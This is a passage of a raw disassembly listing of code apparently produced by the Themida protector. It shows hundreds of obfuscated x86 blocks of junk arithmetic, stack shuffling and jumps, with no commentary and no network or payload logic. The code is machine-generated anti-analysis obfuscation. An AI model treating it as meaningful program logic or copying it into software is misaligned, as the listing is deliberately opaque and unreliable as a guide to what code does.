loc_553205: ; CODE XREF: Themida_:0055C00Ej
neg ebp
jmp loc_55F629
; ---------------------------------------------------------------------------
loc_55320C: ; CODE XREF: Themida_:00555CA2j
sub ebp, 2BFC64B7h
jmp loc_55FAFB
; ---------------------------------------------------------------------------
loc_553217: ; CODE XREF: Themida_:00558609j
add eax, edi
jmp loc_56113D
; ---------------------------------------------------------------------------
loc_55321E: ; CODE XREF: Themida_:0055A852j
pop ecx
push ecx
mov ecx, 4
add esi, ecx
jmp loc_553F88
; ---------------------------------------------------------------------------
loc_55322C: ; CODE XREF: Themida_:005522C2j
mov eax, 77F96C62h
sub eax, 1F94087Ch
not eax
and eax, 41992B0Ch
inc eax
sub eax, 0EDEB943Fh
push 5A20h
mov [esp], eax
mov ebp, [esp]
add esp, 4
jmp loc_550871
; ---------------------------------------------------------------------------
loc_553259: ; CODE XREF: Themida_:00559291j
mov [esp], eax
push ebx
jmp loc_55F554
; ---------------------------------------------------------------------------
loc_553262: ; CODE XREF: Themida_:005571DCj
sub dl, 0E2h
jmp loc_5570C0
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_556D27
; ---------------------------------------------------------------------------
loc_553273: ; CODE XREF: Themida_:00553BB4j
add esp, 4
add eax, 4
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 7EE03835h
not ebp
and ebp, 1F52370Fh
jmp loc_559E54
; ---------------------------------------------------------------------------
loc_553294: ; CODE XREF: Themida_:00559DCAj
sub ecx, 1
push 39C4h
mov [esp], ebp
push edx
mov edx, 0EF933ECh
jmp loc_55A045
; ---------------------------------------------------------------------------
loc_5532AD: ; CODE XREF: Themida_:005517D7j
sub eax, ebx
pop ebx
sub eax, 4D1D0E44h
jmp loc_564AE1
; ---------------------------------------------------------------------------
loc_5532BA: ; CODE XREF: Themida_:00561109j
mov ebx, 35F55DDFh
push ebx
jmp loc_55D977
; ---------------------------------------------------------------------------
loc_5532C5: ; CODE XREF: Themida_:00556AEFj
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebp, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5532DD: ; CODE XREF: Themida_:00552D8Ej
xor esi, edx
pop edx
push esi
jmp loc_55122B
; ---------------------------------------------------------------------------
loc_5532E6: ; CODE XREF: Themida_:0055F7BCj
push edi
mov edi, 1EAA2FC8h
shr edi, 4
and edi, 253241Fh
and edi, 48461C94h
jmp loc_5548CD
; ---------------------------------------------------------------------------
loc_553300: ; CODE XREF: Themida_:005629FFj
pop esp
jmp loc_56242F
; ---------------------------------------------------------------------------
loc_553306: ; CODE XREF: Themida_:005617A9j
xor ecx, [esp]
jmp loc_55C43C
; ---------------------------------------------------------------------------
loc_55330E: ; CODE XREF: Themida_:0055FC2Cj
push edx
push ecx
mov ecx, 743C1518h
mov edx, 743C151Ch
xor edx, ecx
pop ecx
jmp loc_5585F5
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_556E4D
; ---------------------------------------------------------------------------
loc_553336: ; CODE XREF: Themida_:00556C47j
add ebp, 4
add ebp, 4
jmp loc_556EE7
; ---------------------------------------------------------------------------
loc_553344: ; CODE XREF: Themida_:00558612j
add bl, 4Dh
xor bl, 68h
jmp loc_5525B2
; ---------------------------------------------------------------------------
loc_55334F: ; CODE XREF: Themida_:005555F6j
mov ebx, 7D66C31h
jmp loc_5622D1
; ---------------------------------------------------------------------------
loc_553359: ; CODE XREF: Themida_:00564817j
xor bl, dl
jmp loc_5505DB
; ---------------------------------------------------------------------------
loc_553360: ; CODE XREF: Themida_:00556A74j
push edx
mov edx, 67B75155h
or edx, 4D341D29h
add edx, 8E551EAh
and edx, 0FAA2D3Dh
add edx, 5B9C4D5Dh
add edx, 0F5B9F312h
mov esi, edx
pop edx
dec esi
push edi
sub esp, 4
jmp loc_56294E
; ---------------------------------------------------------------------------
loc_553391: ; CODE XREF: Themida_:00558E10j
or bl, ch
jmp loc_5581F9
; ---------------------------------------------------------------------------
loc_553398: ; CODE XREF: Themida_:00552504j
add ebp, eax
sub ebp, 8096CAFh
add ebp, 1B33A08h
mov eax, [esp]
add esp, 4
push esi
sub esp, 4
mov [esp], edx
jmp loc_561116
; ---------------------------------------------------------------------------
loc_5533BE: ; CODE XREF: Themida_:0055A752j
push ebp
push esi
jmp loc_55DFA7
; ---------------------------------------------------------------------------
lodsb
push dx
mov dl, 0E4h
jmp loc_551FAC
; ---------------------------------------------------------------------------
loc_5533CF: ; CODE XREF: Themida_:0055D77Cj
sub ebp, esi
pop esi
add ebp, 0C16ED8F1h
jmp loc_552386
; ---------------------------------------------------------------------------
loc_5533DD: ; CODE XREF: Themida_:0055BBE0j
mov [esp], edi
mov edi, 4
sub edx, edi
jmp loc_56464D
; ---------------------------------------------------------------------------
loc_5533EC: ; CODE XREF: Themida_:0055CE3Fj
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_55DCE0
; ---------------------------------------------------------------------------
loc_5533FD: ; CODE XREF: Themida_:0055961Fj
push esi
jmp loc_55A1CA
; ---------------------------------------------------------------------------
loc_553403: ; CODE XREF: Themida_:00557E1Bj
pop bx
add bp, cx
jmp loc_553DA6
; ---------------------------------------------------------------------------
loc_55340D: ; CODE XREF: Themida_:005619ACj
xchg ebx, ecx
dec ebx
xchg ebx, ecx
not ecx
jmp loc_56026A
; ---------------------------------------------------------------------------
loc_553419: ; CODE XREF: Themida_:005553C8j
pop eax
add edi, edx
mov edx, [esp]
add esp, 4
push 27B5h
jmp loc_563432
; ---------------------------------------------------------------------------
loc_55342C: ; CODE XREF: Themida_:00561CB2j
sub edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], edi
mov edx, [esp]
add esp, 4
or ecx, ecx
jz loc_552B14
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55A3CA
; ---------------------------------------------------------------------------
loc_55345E: ; CODE XREF: Themida_:0055D269j
push esi
push 56781354h
mov esi, [esp]
add esp, 4
xor esi, 267C6AB8h
mov edx, esi
pop esi
push eax
push ebp
jmp loc_55E31A
; ---------------------------------------------------------------------------
loc_55347D: ; CODE XREF: Themida_:00550D01j
mov [esp], edx
push eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553487: ; CODE XREF: Themida_:00555DE7j
add bl, cl
mov ecx, [esp]
push edi
mov edi, esp
push eax
jmp loc_557B9C
; ---------------------------------------------------------------------------
loc_553495: ; CODE XREF: Themida_:0055A550j
mov edx, 1957F20h
jmp loc_55B83B
; ---------------------------------------------------------------------------
loc_55349F: ; CODE XREF: Themida_:00561163j
mov edx, 38A1685Ah
jmp loc_55982B
; ---------------------------------------------------------------------------
loc_5534A9: ; CODE XREF: Themida_:0055BBBAj
mov [esp], ebp
mov ebp, 2FBB3B09h
jmp loc_55E5E0
; ---------------------------------------------------------------------------
loc_5534B6: ; CODE XREF: Themida_:005634A1j
pop ebp
jmp loc_5587E2
; ---------------------------------------------------------------------------
loc_5534BC: ; CODE XREF: Themida_:0056553Aj
pop ecx
jmp loc_56259E
; ---------------------------------------------------------------------------
loc_5534C2: ; CODE XREF: Themida_:00562BB6j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5534C7: ; CODE XREF: Themida_:0055FCC6j
xor edx, ecx
pop ecx
add eax, edx
jmp loc_55B5C7
; ---------------------------------------------------------------------------
loc_5534D1: ; CODE XREF: Themida_:0055DBDBj
sub eax, ecx
mov ecx, [esp]
add esp, 4
push 2A2Dh
mov [esp], esi
mov esi, 1FFE41C8h
neg esi
add esi, 442402BBh
jmp loc_5601AB
; ---------------------------------------------------------------------------
loc_5534F3: ; CODE XREF: Themida_:00559442j
mov eax, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov ah, 0FFh
add bh, 54h
jmp loc_55A746
; ---------------------------------------------------------------------------
loc_553512: ; CODE XREF: Themida_:0056072Bj
add esi, ecx
jmp loc_560CAD
; ---------------------------------------------------------------------------
loc_553519: ; CODE XREF: Themida_:00552A43j
mov edx, [esp]
add esp, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 0B887661h
sub ebx, 58EC78F9h
add ebx, 0FD411DEh
jmp loc_55ED4C
; ---------------------------------------------------------------------------
loc_55354A: ; CODE XREF: Themida_:005522A9j
mov edx, 2D4A1045h
or ebp, edx
pop edx
sub ebp, 0B759BEA0h
add edi, ebp
pop ebp
add ecx, edi
jmp loc_557BC1
; ---------------------------------------------------------------------------
loc_553562: ; CODE XREF: Themida_:0055652Cj
sub eax, esi
pop esi
sub eax, 150A1E4Fh
add eax, edi
jmp loc_5634EB
; ---------------------------------------------------------------------------
loc_553571: ; CODE XREF: Themida_:00553F24j
push ebx
mov ebx, 4E1843B8h
xor esi, ebx
pop ebx
dec esi
add esi, 9AE17872h
add ebx, 404A7045h
add ebx, esi
sub ebx, 404A7045h
jmp loc_5583B5
; ---------------------------------------------------------------------------
loc_553594: ; CODE XREF: Themida_:00553BAAj
add esp, 2
xor dl, 0A6h
shl dl, 4
dec dl
sub esp, 4
mov [esp], eax
jmp loc_5586FD
; ---------------------------------------------------------------------------
loc_5535AD: ; CODE XREF: Themida_:0055FECFj
mov [esp], esi
push eax
mov eax, 7C33552Ah
add eax, 39635E02h
push esi
mov esi, 6A225EFCh
shl esi, 8
neg esi
push ebp
jmp loc_562EE1
; ---------------------------------------------------------------------------
loc_5535CC: ; CODE XREF: Themida_:00565BC5j
push ecx
jmp loc_550BED
; ---------------------------------------------------------------------------
loc_5535D2: ; CODE XREF: Themida_:0055B2C1j
mov eax, 4
add edi, 357E4BC8h
add edi, eax
jmp loc_55552C
; ---------------------------------------------------------------------------
loc_5535E4: ; CODE XREF: Themida_:0056299Ej
mov eax, 4
sub edx, 6E3C4A97h
add edx, eax
jmp loc_557997
; ---------------------------------------------------------------------------
loc_5535F6: ; CODE XREF: Themida_:0055B324j
push edx
mov edx, 1E34002Eh
xor [esp+4], edx
pop edx
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55BA62
; ---------------------------------------------------------------------------
loc_553613: ; CODE XREF: Themida_:00552710j
mov ecx, 0A6C5BA0h
xor edi, ecx
jmp loc_55BD02
; ---------------------------------------------------------------------------
loc_55361F: ; CODE XREF: Themida_:00559A6Fj
push ecx
mov ecx, 72974DCEh
mov edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_551CE2
; ---------------------------------------------------------------------------
loc_553632: ; CODE XREF: Themida_:00565111j
add esp, 4
xchg edi, [esp]
jmp loc_55A4E1
; ---------------------------------------------------------------------------
loc_55363D: ; CODE XREF: Themida_:005517E4j
push 2FF1h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_55B93F
; ---------------------------------------------------------------------------
loc_553658: ; CODE XREF: Themida_:0056343Dj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553677: ; CODE XREF: Themida_:005625A6j
mov ecx, [esp]
add esp, 4
mov ah, dl
jmp loc_56441C
; ---------------------------------------------------------------------------
loc_553684: ; CODE XREF: Themida_:00565AD6j
pop ebx
push edx
mov edx, 4
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add ebp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], edi
jmp loc_564EE3
; ---------------------------------------------------------------------------
loc_5536C7: ; CODE XREF: Themida_:005593CCj
push esi
mov esi, 7EE267E7h
sub esi, 52264B5h
sub esi, 2F3E3618h
add esi, 2D7DF49Bh
mov ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_565AB0
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1870h
mov [esp], edx
mov edx, esp
push edi
mov edi, esp
add edi, 4
jmp loc_563581
; ---------------------------------------------------------------------------
loc_55370B: ; CODE XREF: Themida_:0055F03Fj
not dword ptr [esp]
pop ebp
add ebp, 1
jmp loc_564D5A
; ---------------------------------------------------------------------------
loc_55371A: ; CODE XREF: Themida_:005581B9j
push esp
jmp loc_55F640
; ---------------------------------------------------------------------------
loc_553720: ; CODE XREF: Themida_:00557410j
add ecx, 178F1B37h
sub ecx, 3954C983h
add edx, 3ECA624Ah
sub edx, ecx
sub edx, 3ECA624Ah
mov ecx, [esp]
push ecx
push esp
jmp loc_56426E
; ---------------------------------------------------------------------------
loc_553744: ; CODE XREF: Themida_:0055C9A4j
push ecx
not dword ptr [esp]
pop ecx
push esi
mov esi, 48CD5428h
add ecx, esi
pop esi
or ecx, 51DE0D2Fh
jmp loc_55A355
; ---------------------------------------------------------------------------
loc_55375D: ; CODE XREF: Themida_:00564A5Ej
sub eax, ebp
sub eax, 5FEC3B6Eh
pop ebp
xor ebx, eax
push ebx
push 42F7h
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_555720
; ---------------------------------------------------------------------------
loc_553783: ; CODE XREF: Themida_:00551D15j
pop ebp
add ecx, eax
jmp loc_561DF9
; ---------------------------------------------------------------------------
loc_55378B: ; CODE XREF: Themida_:00562943j
push ebp
mov ebp, 1BE01C33h
mov edi, ebp
pop ebp
add esi, 2207677Ah
add esi, edi
sub esi, 2207677Ah
pop edi
jmp loc_564B67
; ---------------------------------------------------------------------------
loc_5537A8: ; CODE XREF: Themida_:00564417j
and dh, 0A7h
xor dh, 2
jmp loc_55985E
; ---------------------------------------------------------------------------
loc_5537B3: ; CODE XREF: Themida_:00559D7Dj
push 15BBh
mov [esp], ecx
mov ecx, 72340BB6h
shl ecx, 8
inc ecx
jmp loc_5520DF
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
mov [esp], edx
jmp loc_558A22
; ---------------------------------------------------------------------------
loc_5537D7: ; CODE XREF: Themida_:00565848j
sub ebx, 369C1E21h
sub ebx, edx
add ebx, 369C1E21h
pop edx
mov ecx, [esp]
jmp loc_5512FE
; ---------------------------------------------------------------------------
loc_5537EE: ; CODE XREF: Themida_:005514B5j
shl ebp, 8
xor ebp, 141C7FE8h
jmp loc_557A42
; ---------------------------------------------------------------------------
loc_5537FC: ; CODE XREF: Themida_:00550540j
mov bh, al
jmp loc_565069
; ---------------------------------------------------------------------------
loc_553803: ; CODE XREF: Themida_:0055A548j
add dword ptr [esp], 316E4D15h
add [esp], eax
jmp loc_5504D3
; ---------------------------------------------------------------------------
loc_553812: ; CODE XREF: Themida_:0055CBE3j
inc ah
add ah, 0E5h
xor dl, ah
pop eax
jmp loc_558337
; ---------------------------------------------------------------------------
loc_55381F: ; CODE XREF: Themida_:00559AA9j
mov bl, 29h
add ah, bl
pop bx
mov dl, ah
push dword ptr [esp]
mov eax, [esp]
jmp loc_557549
; ---------------------------------------------------------------------------
loc_553832: ; CODE XREF: Themida_:00562874j
mov ebx, [esp]
add esp, 4
pop edx
sub [edi+24h], ebx
mov ebx, [esp]
add esp, 4
loc_553845: ; CODE XREF: Themida_:0055C8EFj
push esi
push esp
pop esi
add esi, 4
push ebp
mov ebp, 4
sub esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ecx
jmp loc_55F219
; ---------------------------------------------------------------------------
loc_553869: ; CODE XREF: Themida_:0055A80Ej
sub eax, 6CD319C6h
sub esp, 4
mov [esp], edx
pop dword ptr [eax]
mov eax, [esp]
push edi
jmp loc_565204
; ---------------------------------------------------------------------------
lodsb
jmp loc_551329
; ---------------------------------------------------------------------------
loc_553885: ; CODE XREF: Themida_:005566A1j
push ecx
jmp loc_55B25F
; ---------------------------------------------------------------------------
loc_55388B: ; CODE XREF: Themida_:0055E0E3j
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
sub esp, 4
mov [esp], eax
mov eax, 679941F8h
push ebx
jmp loc_55F9EF
; ---------------------------------------------------------------------------
loc_5538B0: ; CODE XREF: Themida_:0055CBBDj
pop eax
or edx, esi
pop esi
or edx, 38F34114h
push esi
mov esi, 2D55227Bh
add edx, esi
pop esi
add edx, 57D60239h
xor edx, 52A9430h
mov esi, edx
pop edx
and ecx, esi
pop esi
shr ecx, 0
or eax, eax
jz loc_55070E
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_55678A
; ---------------------------------------------------------------------------
loc_5538F6: ; CODE XREF: Themida_:00557767j
push dword ptr [esp]
pop esi
jmp loc_55D652
; ---------------------------------------------------------------------------
loc_5538FF: ; CODE XREF: Themida_:00551933j
add esp, 4
pop ecx
add al, dl
jmp loc_55DC1C
; ---------------------------------------------------------------------------
loc_55390A: ; CODE XREF: Themida_:0055E11Dj
mov edx, 0BC26425h
sub edx, 28D85675h
jmp loc_55EAF2
; ---------------------------------------------------------------------------
loc_55391A: ; CODE XREF: Themida_:0055FD85j
xor edi, [esp]
mov esp, [esp]
mov ebx, esi
mov esi, [esp]
add esp, 4
add edx, 41514422h
jmp loc_5588D9
; ---------------------------------------------------------------------------
loc_553933: ; CODE XREF: Themida_:005625B4j
pop eax
not eax
xchg eax, ebx
jmp loc_55FA92
; ---------------------------------------------------------------------------
loc_55393C: ; CODE XREF: Themida_:00562675j
and edi, 18DF1ADBh
add edi, 0B99448C8h
xor edx, edi
pop edi
add eax, edx
pop edx
sub eax, 1E883221h
add eax, edi
add eax, 1E883221h
push esi
mov esi, 11EB7139h
push ebp
mov ebp, 50165D32h
jmp loc_559356
; ---------------------------------------------------------------------------
loc_55396B: ; CODE XREF: Themida_:0055C79Fj
xor ebp, 57215165h
mov edi, ebp
pop ebp
jmp loc_55DBD0
; ---------------------------------------------------------------------------
loc_553979: ; CODE XREF: Themida_:0055F749j
pop ebp
push edi
mov edi, esp
add edi, 4
jmp loc_562CC4
; ---------------------------------------------------------------------------
loc_553988: ; CODE XREF: Themida_:0055D701j
mov al, bh
pop ebx
push edx
mov dh, al
mov bl, dh
pop edx
pop eax
mov al, bl
jmp loc_558FB1
; ---------------------------------------------------------------------------
loc_553999: ; CODE XREF: Themida_:00550B64j
add edi, 11282567h
pop edx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_55D23B
; ---------------------------------------------------------------------------
loc_5539B1: ; CODE XREF: Themida_:00558F70j
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
jmp loc_563640
; ---------------------------------------------------------------------------
loc_5539E4: ; CODE XREF: Themida_:0055796Cj
mov edx, 88CD881Dh
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_560854
; ---------------------------------------------------------------------------
loc_5539F9: ; CODE XREF: Themida_:00552AF3j
pop edi
push 6B15h
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
sub al, 17h
sub al, bl
add al, 17h
mov bx, [esp]
add esp, 2
sub esp, 4
mov [esp], ebx
jmp loc_559D47
; ---------------------------------------------------------------------------
loc_553A2B: ; CODE XREF: Themida_:00563BF8j
shl edx, 7
shr edx, 1
not edx
dec edx
jmp loc_5648B6
; ---------------------------------------------------------------------------
loc_553A38: ; CODE XREF: Themida_:0055BB52j
sub ebx, 4F2A2FE6h
pop esi
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_55D1E2
; ---------------------------------------------------------------------------
loc_553A50: ; CODE XREF: Themida_:00565A5Aj
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
push 3F61h
jmp loc_559FE8
; ---------------------------------------------------------------------------
loc_553A62: ; CODE XREF: Themida_:00559826j
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
xchg ebp, ecx
xor ebp, ecx
xor ecx, ebp
xor ebp, ecx
xchg ebx, ecx
not ebx
xchg ebx, ecx
xchg ecx, ebp
xchg ebp, ecx
jmp loc_552C1C
; ---------------------------------------------------------------------------
loc_553A7F: ; CODE XREF: Themida_:0055C0E9j
not edx
xchg edx, ebx
jmp loc_5579E4
; ---------------------------------------------------------------------------
loc_553A88: ; CODE XREF: Themida_:0055BB34j
sub dh, 2Dh
push eax
sub esp, 4
mov [esp], ecx
jmp loc_553DB9
; ---------------------------------------------------------------------------
loc_553A9A: ; CODE XREF: Themida_:00556A93j
or edx, 22A71C49h
sub edx, 0FA2837EBh
add edi, edx
pop edx
mov eax, [esp]
add esp, 4
push edx
push 321Fh
mov [esp], eax
push edi
jmp loc_5560BD
; ---------------------------------------------------------------------------
loc_553ABE: ; CODE XREF: Themida_:00552068j
add esp, 4
push ecx
push esp
pop ecx
push edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
jmp loc_56439A
; ---------------------------------------------------------------------------
loc_553ADB: ; CODE XREF: Themida_:0055BAFCj
mov ecx, esp
add ecx, 4
jmp loc_56160A
; ---------------------------------------------------------------------------
loc_553AE8: ; CODE XREF: Themida_:00556932j
push edx
jmp loc_552A48
; ---------------------------------------------------------------------------
loc_553AEE: ; CODE XREF: Themida_:00554C9Dj
sub bl, 0DCh
jmp loc_551C1E
; ---------------------------------------------------------------------------
loc_553AF6: ; CODE XREF: Themida_:00561B5Fj
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_56267A
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55B795
; ---------------------------------------------------------------------------
loc_553B13: ; CODE XREF: Themida_:00558721j
add esi, ecx
pop ecx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
sub edx, 2
jmp loc_559EC9
; ---------------------------------------------------------------------------
loc_553B2B: ; CODE XREF: Themida_:0055F82Ej
mov ebx, 740B5117h
push 2Dh
jmp loc_55D9E8
; ---------------------------------------------------------------------------
loc_553B3A: ; CODE XREF: Themida_:00559143j
pop eax
xor edx, [esp]
jmp loc_551668
; ---------------------------------------------------------------------------
loc_553B43: ; CODE XREF: Themida_:005520ADj
add al, bl
add al, 2Eh
push small 4228h
mov [esp], dx
push 6F90h
jmp loc_55B749
; ---------------------------------------------------------------------------
loc_553B59: ; CODE XREF: Themida_:00557951j
inc bh
sub bh, 49h
add al, bh
pop ebx
add al, dh
sub al, 0F8h
pop dx
sub al, bh
push 0FEDh
mov [esp], edx
mov dl, 27h
shl dl, 8
shr dl, 3
push eax
jmp loc_5620E4
; ---------------------------------------------------------------------------
loc_553B7F: ; CODE XREF: Themida_:00558CF9j
add esp, 4
push 76Ch
mov [esp], ecx
push eax
push 18DC4868h
pop eax
add eax, 168E3494h
mov ecx, eax
pop eax
jmp loc_551C7F
; ---------------------------------------------------------------------------
loc_553B9E: ; CODE XREF: Themida_:00550BF1j
mov ecx, [esp]
add esp, 4
mov dl, ah
mov ax, [esp]
jmp loc_553594
; ---------------------------------------------------------------------------
loc_553BAF: ; CODE XREF: Themida_:0055AD13j
push eax
push esp
mov eax, [esp]
jmp loc_553273
; ---------------------------------------------------------------------------
loc_553BB9: ; CODE XREF: Themida_:0055B056j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5641A4
; ---------------------------------------------------------------------------
loc_553BD0: ; CODE XREF: Themida_:005507E2j
pop edx
push ecx
mov cl, 0A1h
xor cl, 0F5h
jmp loc_554B27
; ---------------------------------------------------------------------------
loc_553BDC: ; CODE XREF: Themida_:0055FB68j
push ebp
mov ebp, 339A3A6Fh
jmp loc_552C0C
; ---------------------------------------------------------------------------
loc_553BE7: ; CODE XREF: Themida_:005622AEj
jz loc_55469E
push 3784h
mov [esp], ebx
jmp loc_55201C
; ---------------------------------------------------------------------------
loc_553BFA: ; CODE XREF: Themida_:0055F8A0j
add ecx, 799655FDh
jmp loc_558A28
; ---------------------------------------------------------------------------
loc_553C05: ; CODE XREF: Themida_:0055A741j
pop eax
pop dword ptr [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553C14: ; CODE XREF: Themida_:0055C134j
shl eax, 1
push esi
mov esi, 613CFC02h
jmp loc_55D898
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553C29: ; CODE XREF: Themida_:00564524j
mov esp, [esp]
mov [esp], ecx
push ebx
mov ebx, 1Ch
mov ecx, ebx
jmp loc_55FBD7
; ---------------------------------------------------------------------------
loc_553C3C: ; CODE XREF: Themida_:00557522j
add ebx, 4
push 665Ah
jmp loc_5625AB
; ---------------------------------------------------------------------------
loc_553C4C: ; CODE XREF: Themida_:0055CE61j
add eax, 2
xchg eax, [esp]
pop esp
mov ax, [esp]
push edx
push esp
pop edx
add edx, 4
sub esp, 4
mov [esp], ebp
push edx
mov edx, 4
mov ebp, edx
pop edx
sub edx, ebp
pop ebp
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
jmp loc_560FA3
; ---------------------------------------------------------------------------
loc_553C83: ; CODE XREF: Themida_:0055EA08j
mov esp, [esp]
shl edi, 8
jmp loc_555592
; ---------------------------------------------------------------------------
loc_553C8E: ; CODE XREF: Themida_:00564751j
pop edi
jmp loc_551938
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push eax
push esp
pop eax
push 5549h
mov [esp], ecx
mov ecx, 228F79E0h
push ebp
mov ebp, 612F201Eh
inc ebp
push eax
mov eax, 1EC31C7Eh
add ebp, eax
pop eax
or ebp, 243F583Eh
add ebp, 7AC127CCh
sub ebp, 0EB0B6AE3h
or ecx, ebp
pop ebp
push ebx
mov ebx, 0A742D3h
add ebx, 1A382378h
shr ebx, 2
jmp loc_5627A3
; ---------------------------------------------------------------------------
loc_553CE1: ; CODE XREF: Themida_:005525A4j
add esi, 2
xchg esi, [esp]
pop esp
test cl, al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_553CF0: ; CODE XREF: Themida_:00565CC2j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_554E8C
; ---------------------------------------------------------------------------
loc_553D07: ; CODE XREF: Themida_:00551B1Aj
sub edx, 0ED31206Dh
sub ebp, edx
pop edx
xor ebp, 0A8A4D31Eh
mov edx, ebp
pop ebp
add ecx, 5980151h
add ecx, edx
sub ecx, 5980151h
mov edx, [esp]
add esp, 4
add ecx, edi
sub ecx, 1EAB19E4h
push dword ptr [esp]
pop edi
push ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
jmp loc_558CE3
; ---------------------------------------------------------------------------
loc_553D4A: ; CODE XREF: Themida_:005513F7j
mov edi, 4
jmp loc_5515B4
; ---------------------------------------------------------------------------
loc_553D54: ; CODE XREF: Themida_:00551C7Aj
push esi
mov esi, 28E319EBh
push eax
mov eax, 44C23E1Fh
xor esi, eax
mov eax, [esp]
add esp, 4
add esi, 1
push edi
mov edi, 729D21D5h
xor esi, edi
pop edi
dec esi
jmp loc_558F90
; ---------------------------------------------------------------------------
loc_553D7A: ; CODE XREF: Themida_:00562B8Fj
add esp, 4
push edi
mov edi, 3B7E2C28h
neg edi
push ebp
jmp loc_559D61
; ---------------------------------------------------------------------------
loc_553D8B: ; CODE XREF: Themida_:005521D7j
push edi
push 45131762h
pop edi
xor edi, 45131766h
jmp loc_55FF75
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55A3FD
; ---------------------------------------------------------------------------
loc_553DA6: ; CODE XREF: Themida_:00553408j
mov ecx, [esp]
jmp loc_55BB68
; ---------------------------------------------------------------------------
loc_553DAE: ; CODE XREF: Themida_:00556EB0j
add ebx, 461F2A1Dh
jmp loc_55A0B3
; ---------------------------------------------------------------------------
loc_553DB9: ; CODE XREF: Themida_:00553A95j
push eax
mov al, dh
mov cl, al
pop eax
mov al, cl
jmp loc_562466
; ---------------------------------------------------------------------------
loc_553DC6: ; CODE XREF: Themida_:00555330j
add esp, 4
xor esi, 810423E9h
add ebp, esi
jmp loc_565601
; ---------------------------------------------------------------------------
loc_553DD9: ; CODE XREF: Themida_:0055E29Fj
mov [esp], ebp
mov ebp, 1FC021ABh
xor ebp, 54454391h
sub eax, 5C0B1D71h
sub eax, ebp
add eax, 5C0B1D71h
pop ebp
xor eax, 0B4FDED90h
mov ecx, eax
jmp loc_552B01
; ---------------------------------------------------------------------------
loc_553E00: ; CODE XREF: Themida_:00563485j
dec edi
shr edi, 8
inc edi
sub edi, 0C00A9DE4h
sub eax, 6B24FA0h
jmp loc_559671
; ---------------------------------------------------------------------------
loc_553E15: ; CODE XREF: Themida_:00558D18j
inc dl
add dl, 3Ch
add dl, 0D2h
neg dl
or dl, 13h
jmp loc_55CEBA
; ---------------------------------------------------------------------------
loc_553E27: ; CODE XREF: Themida_:005627F3j
mov ebx, 6812004Ch
xor edx, ebx
pop ebx
xor edx, 409A20ADh
and ebx, edx
pop edx
not ebx
inc ebx
push edi
mov edi, 4B7F5D39h
dec edi
sub edi, 6E286C8Ah
not edi
xor edi, 86D09646h
xor ebx, edi
jmp loc_5514A9
; ---------------------------------------------------------------------------
loc_553E57: ; CODE XREF: Themida_:005633DFj
mov [esp], edi
mov edi, 19A371CFh
add edi, 336FEA3Dh
add ebx, 6CC56BA6h
